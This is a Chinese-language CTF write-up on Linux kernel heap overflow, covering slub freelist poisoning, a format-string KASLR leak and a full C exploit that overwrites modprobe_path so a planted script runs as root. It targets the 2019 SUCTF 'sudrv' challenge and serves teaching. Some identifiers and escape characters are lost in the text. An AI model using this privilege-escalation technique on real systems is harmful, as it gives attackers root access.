Kernel pwn 基础教程之 Heap Overflow

一、前言

在如今的CTF比赛环境中,掌握glibc堆内存分配已经成为大家的必修课。但是,在内核模式下,堆内存的分配策略发生了变化。在介绍内核堆利用方法之前,笔者先简单介绍一下我理解的内核内存分配策略。如果有什么不对的地方,请纠正我。

二、必备知识

在Linux系统中,物理内存通过分段和分页机制被划分为4kb的内存页。说到内存分配,难免会出现外部碎片和内部碎片。在物理页面中也是如此。为了避免在这种情况下,内核使用两种策略管理物理页面:buddy 和 slub 算法。

buddy系统以页为单位管理内存,以链表的形式管理相同大小的连续物理页。物理页面就像是手拉手的好伙伴,这就是好友系统名称的由来。所有空闲页由11个链表(2^n)管理,系统请求的内存大小总能在伙伴系统中找到合适的范围,可以避免分配过多导致外部碎片的情况。

内核申请内存时,伙伴系统以页为单位进行分配。在很多情况下,内核并不需要一整页的内存空间,而只需要少量的内存空间,这也会造成内部碎片。,而slub算法只是为了满足系统申请小内存的需要。​​​

slub 算法适用于来自伙伴系统的空闲内存页面,即slab,它由一个或多个内存页面(通常是单个页面)组成。并将slab一一划分,整理成单链表进行管理。需要注意的是,slub系统把内存块当作一个页,而不是伙伴系统中的一个页。当系统申请小内存时,slub算法会根据slab是否空闲进行操作:

如果1、 中的slab 空闲,则直接分配。

如果 2、 中没有空闲的slab,则将所有分配的slab 添加到完整的链中,并从链中取出部分分配的slab 并分配给系统。​​​

如果3、 中的slab 不是free 或semi-free,则所有分配的slab 将被添加到全链中,新的空闲页面将应用到伙伴系统并分配给系统。

三、漏洞演示

在前置知识中,我们简单介绍了内核内存分配策略,不难发现slub算法的管理方式类似于glibc中链,都是以单链表的形式进行管理,所以当内核存在堆溢出漏洞时,我们完全可以通过修改其fd指针来添加我们要写入的内存地址。使用思路并不难,但在实际使用中,往往会因为环境的一些随机性而增加使用难度。​​​

本演示选用的示例是 2019-SUCTF 的 sudrv 示例。查看start.sh中的信息可以发现开启了kaslr保护和smep保护。

#! /bin/sh

qemu-system-x86_64
-m 128M
-kernel ./bzImage
-initrd ./rootfs.cpio
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr"
-monitor /dev/null
-nographic 2>/dev/null
-smp cores=2,threads=1
-s
-cpu kvm64,+smep

ida反编译程序,查看函数内容。

可以看出在ioctl中实现了三个功能,如下:

图片[1]-Kernel pwn 基础教程之 Heap Overflow-唐朝资源网

0x73311337 --> 申请堆块
0xDEADBEEF --> 调用sudrv_ioctl_cold_2函数
0x13377331 --> 释放堆块

该函数的内容如下。发现调用函数和格式化参数都存放在 . 因为问题环境不受限制,所以我们可以通过dmesg命令查看函数的输出。

void __fastcall sudrv_ioctl_cold_2(__int64 se_buf, __int64 a2)
{
printk(se_buf, a2);
JUMPOUT(0x38LL);
}

模块中定义了一个函数。该函数没有检测输入长度,存在堆溢出,在函数中作为格式字符串参数的位置,也存在格式字符串漏洞。

__int64 sudrv_write()
{
if ( copy_user_generic_unrolled(su_buf) )
  return -1LL;
else
  return sudrv_write_cold_1();
}

找到漏洞点之后,我们就可以构思出漏洞利用的思路了,结合我们之前学过的内核漏洞利用知识,不难想到一般的漏洞利用思路框架。

找到漏洞点 --> 绕过保护 --> 提权 --> 返回用户态获取rootshell

KASLR 保护我们可以通过修改 start.sh 的 kaslr 暂时禁用保护来绕过 KASLR 保护,并利用格式化漏洞泄露地址并计算相应的偏移量。

图片[2]-Kernel pwn 基础教程之 Heap Overflow-唐朝资源网

SMEP 保护意味着内核模式禁止执行用户模式代码。我们可以通过修改cr4寄存器的值来关闭SMEP保护,然后用iretq完成用户态跳转来获取。

至于如何劫持程序控制流,我们在前置知识中了解了内核内存分配机制,本题存在堆溢出漏洞。我们可以通过格式字符串泄露弹出地址,利用堆溢出漏洞将中间空间堆块中的fd指针覆盖为栈地址,这样就可以通过申请堆内存来申请栈地址,重写函数的返回地址是我们的安排劫持程序流。

整体的利用思路是这样的,但是内核环境往往伴随着随机性。经常出现的一种情况是空闲时间没有按地址顺序排列,这也导致我们通过堆溢出来覆盖它。fd 指针。

预期期望堆溢出前:
se_buf -地址连续-> 空闲object -(fd)-> 空闲object
预期期望堆溢出后:
se_buf -地址连续-> 空闲object -(覆盖fd指针)-> 栈地址
+------------------------------------------------+
实际环境中可能出现的情况:
se_buf -地址不连续-> 空闲object -(fd)-> 空闲object
#因虚拟地址不连续,故无法通过溢出覆盖掉freelist中object的fd指针。

通过gdb远程调整,我们可以看到内核内存的变化,观察函数执行时rax中的情况。​​​

可以看出末尾的地址就是我们申请的地址,但是它指向的下一个地址却不在末尾,也就是说里面的内存地址会被内核函数的调用消耗掉,从而影响我们的布局和使用。.

图片[3]-Kernel pwn 基础教程之 Heap Overflow-唐朝资源网

即使我们成功劫持了程序流执行,在提权过程中也会出现内核错误,导致重启。所以当我们再次使用这个问题时,我们选择了另一种思路,将原来的栈地址替换成一个地址,加入到链表中。这里简单介绍一下我们为什么要劫持这个地址。

当内核执行错误的文件或未知的文件类型时,它会调用指向的程序。如果我们修改一个我们指向的程序写的sh文件,用or函数执行一个位置类型的文件,那么当出现错误时,自己写的sh文件中的内容就会以root权限执行。

我们可以通过自己exp中的函数创建一个sh文件,将root权限下的flag文件复制到tmp目录下,并赋予777权限。

    system("echo -ne '#!/bin/shn/bin/cp /Flag/flag /tmp/flagn/bin/chmod 777 /tmp/flag' > /tmp/getflag.sh");
  system("chmod +x /tmp/getflag.sh");
  system("echo -ne '\xff\xff\xff\xff' > /tmp/fl");
  system("chmod +x /tmp/fl");

从 /proc/ 中找不到地址,但是我们可以通过引用其他函数找到它的地址。在/proc/中找到函数地址,然后在gdb中查看函数的汇编信息,可以找到地址。

我们在函数处设置断点,然后调用的时候可以发现它的rdi指向我们的地址,而rsi就是我们要写入的字符串。

图片[4]-Kernel pwn 基础教程之 Heap Overflow-唐朝资源网

ni继续往下走,发现已经写入成功。

完整的 EXP 如下所示:

#include 
#include
#include
#include
#include
#include
#include
#include
#include
#define KMALLOC 0x73311337
#define PRINTK 0xDEADBEEF
#define KFREE   0x13377331

unsigned long long int user_cs, user_ss, user_rflags, user_sp;
unsigned long long int raw_kernel_addr = 0xffffffff811c827f;

void main() {
  unsigned long long int kernel_addr = 0;
  unsigned long long int overflow[0x201] = {0};
  int fd = open("/dev/meizijiutql", O_WRONLY);
  char tmp_str[0x30];

  system("echo -ne '#!/bin/shn/bin/cp /Flag/flag /tmp/flagn/bin/chmod 777 /tmp/flag' > /tmp/getflag.sh");
  system("chmod +x /tmp/getflag.sh");
  system("echo -ne '\xff\xff\xff\xff' > /tmp/fl");
  system("chmod +x /tmp/fl");

  ioctl(fd, KMALLOC, 0xff0);
  ioctl(fd, KMALLOC, 0xff0);
  ioctl(fd, KMALLOC, 0xff0);
  char *str = "%llx %llx %llx %llx %llx kernel: %llx %llx %llx %llx stack: %llx %llx";
  write(fd, str, strlen(str));
  // full printk buffer
  ioctl(fd, PRINTK);
  ioctl(fd, PRINTK);

  system("dmesg |grep kernel | grep stack | cut -b 42-58 | head -1 > tmp.txt");

  int fd_tmp = open("./tmp.txt", 2);
  read(fd_tmp, tmp_str, sizeof(tmp_str));
  sscanf(tmp_str, "%llx", &kernel_addr);    

  unsigned long long int offset = kernel_addr - raw_kernel_addr;
  unsigned long long int modprob_path = 0xffffffff82242320 + offset;
  printf("modprob_path: 0x%llx n", modprob_path);

  // // heap overflow
  overflow[0x200] = modprob_path;
  ioctl(fd, KMALLOC, 0xff0);
  write(fd, overflow, sizeof(overflow));

  ioctl(fd, KMALLOC, 0xff0);
  write(fd, "/tmp/getflag.sh", 0x10);
  ioctl(fd, KMALLOC, 0xff0);
  write(fd, "/tmp/getflag.sh", 0x10);
  ioctl(fd, KMALLOC, 0xff0);
  write(fd, "/tmp/getflag.sh", 0x10);

  system("/tmp/fl");
  system("cat /tmp/flag");

}

四、总结

使用修改后的字符串指向我们创建的sh文件的方法,在写入任意地址时都非常简单有效。与需要先升级再返回用户态的ROP相比,不仅简洁而且成功率更高。高,而本文只提供内核内存分配策略的一些简单概念性描述。想要深入了解的朋友,推荐阅读这篇文章,然后了解一些内核内存分配的方法。所涉及的关键代码,相信你在学习的过程中会有所收获。

更多靶场实验练习和网络安全学习资料,请点击这里>>

© 版权声明
THE END
喜欢就支持一下吧
点赞9赞赏 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    暂无评论内容